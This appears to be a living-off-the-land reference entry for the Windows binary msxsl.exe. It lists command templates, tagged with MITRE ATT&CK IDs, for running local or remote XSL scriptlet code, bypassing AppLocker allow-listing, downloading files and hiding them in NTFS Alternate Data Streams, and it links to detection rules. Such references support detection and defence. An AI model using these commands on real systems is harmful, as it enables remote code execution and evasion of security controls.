msxsl.exe

Commands

1. ExecuteUser T1220

   Local execution of script stored in XSL file.

   msxsl.exe {PATH:.xml} {PATH:.xsl}

   Run COM Scriptlet code within the script.xsl file (local).

   os: Windows

   Execute: XSL

2. AWL BypassUser T1220

   Local execution of script stored in XSL file.

   msxsl.exe {PATH:.xml} {PATH:.xsl}

   Run COM Scriptlet code within the script.xsl file (local).

   os: Windows

   Execute: XSL

3. ExecuteUser T1220

   Local execution of remote script stored in XSL script stored as an XML file.

   msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}

   Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

   os: Windows

   Execute: XSLExecute: Remote

4. AWL BypassUser T1220

   Local execution of remote script stored in XSL script stored as an XML file.

   msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}

   Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

   os: Windows

   Execute: XSLExecute: Remote

5. DownloadUser T1105

   Download a file from the internet and save it to disk.

   msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}

   Using remote XML and XSL files, save the transformed XML file to disk.

   os: Windows

6. ADSUser T1564

   Download a file from the internet and save it to an NTFS Alternate Data Stream.

   msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name

   Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

   os: Windows

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml
• Elastic https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_msxsl_beacon.toml
• Elastic https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_msxsl_network.toml
• Elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

Resources

• https://twitter.com/subTee/status/877616321747271680
• https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
• https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file